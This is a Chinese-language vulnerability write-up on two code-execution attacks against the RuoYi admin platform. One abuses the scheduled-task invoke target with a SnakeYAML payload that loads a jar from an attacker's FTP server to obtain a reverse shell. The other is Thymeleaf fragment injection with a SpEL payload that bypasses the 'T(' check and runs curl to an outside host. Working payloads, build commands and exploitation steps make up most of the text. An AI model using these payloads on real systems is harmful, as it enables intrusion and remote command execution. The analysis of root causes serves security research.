反射+Yaml達到的代碼執行
漏洞發現
在若依管理后台-系統監控-定時任務-新建,發現有個調用目標字符串的字段。
查看定時任務的具體代碼,定位到ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java
。
假設我們輸入com.hhddj1.hhddj2.hhddj3()
,
經解析后
- beanName為com.hhddj1.hhddj2
- methodName為hhddj3
- methodParams為[]
/**
* 執行方法 * * @param sysJob 系統任務 */ public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } }
反射Runtime失敗
想要通過該反射執行命令,首先想到使用java.lang.Runtime.getRuntime().exec("")
。
若使用該payload,則會跳到JobInvokeUtil.java
的這段代碼中。
Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams);
然而,想要通過Class.forName(beanName).newInstance()
成功實例化,必須滿足類至少有一個構造函數
- 無參
- public
而Runtime類的構造函數是private的,不滿足條件,因此使用payloadjava.lang.Runtime.getRuntime().exec("")
,會報錯。
反射ProcessBuilder失敗
同樣的,雖然我們可以在new ProcessBuilder的時候可以不加參數,但是並不代表ProcessBuilder的構造函數是無參的。因此使用ProcessBuilder的payload也會報錯。
ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("/bin/bash","-c","curl http://xxx/test"); processBuilder.start();
ProcessBuilder的構造函數
public ProcessBuilder(List<String> var1) { if (var1 == null) { throw new NullPointerException(); } else { this.command = var1; } } public ProcessBuilder(String... var1) { this.command = new ArrayList(var1.length); String[] var2 = var1; int var3 = var1.length; for(int var4 = 0; var4 < var3; ++var4) { String var5 = var2[var4]; this.command.add(var5); } }
構造Yaml類
想要代碼執行,我嘗試過寫文件等等方式,但是都無法反射成功。
因為根據若依的定時任務代碼,需要滿足以下條件:
- 類的構造函數無參且public
- 調用的方法的參數類型只能是String/int/long/double
- 該方法具有代碼執行的潛力
因此找到Yaml類,剛好若依有一個YamlUtil類,里面使用了org.yaml.snakeyaml包。
所以我們構造了以下payload,使用ftp協議的原因是http被禁用
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://ip/yaml-payload.jar"]
]]
]')
yaml-payload.jar的生成過程:
1)在github上下載源碼(https://github.com/artsploit/yaml-payload.git)
2)將IP和端口改成我們對應攻擊機上的IP和端口
3)使用以下兩條命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下圖紅箭頭所示。
javac src/artsploit/AwesomescriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
漏洞利用過程
1.生成yaml-payload.jar,ip寫攻擊機ip,端口寫2333。生成之后,傳到攻擊機的ftp目錄下。
2.攻擊機:監聽2333端口
3.若依管理后台,新建定時任務,目標調用字符串寫
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["ftp://攻擊機ip/yaml-payload.jar"]
]]
]')
4.攻擊機上收到反彈shell
結合Thymeleaf注入的代碼執行
在代碼審計若依的時候,發現了Thymeleaf語法的一些問題,不過后來發現大佬們之前就寫過很多關於Thymeleaf注入的資料。
漏洞分析
Ruoyi使用了thymeleaf-spring5,其中四個接口方法中設置了片段選擇器:
http://demo.ruoyi.vip/monitor/cache/getNames
http://demo.ruoyi.vip/monitor/cache/getKeys
http://demo.ruoyi.vip/monitor/cache/getValue
http://demo.ruoyi.vip/demo/form/localrefresh/task
通過這四段接口,可以指定任意fragment,以/monitor/cache/getNames接口為例,controller代碼如下:
@PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; }
這四段接口方法中,都使用了thymeleaf的語法:
"/xxx::" + fragment;
我們構造fragment的值為:
%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d
-->
${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}
當我們構造的模板片段被thymeleaf解析時,thymeleaf會將識別出fragment為SpringEL表達式。不管是?fragment=header(payload)還是?fragment=payload
但是,在執行SpringEL表達式之前,thymeleaf會去檢查參數值中是否使用了"T(SomeClass)"或者"new SomeClass"
這個檢查方法其實可以繞過,SpringEL表達式支持"T (SomeClass)"這樣的語法,因此我們只要在T與惡意Class之間加個空格,就既可以繞過thymeleaf的檢測規則,又可以執行SpringEL表達式。
因此payload中T與惡意Class之間含有空格,不論是空格或者制表符都可以繞過檢測。
漏洞利用過程
1.將payload進行HTML編碼
${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}
2.填入header后面的括號中,命令成功執行,ceye監聽平台收到dnslog請求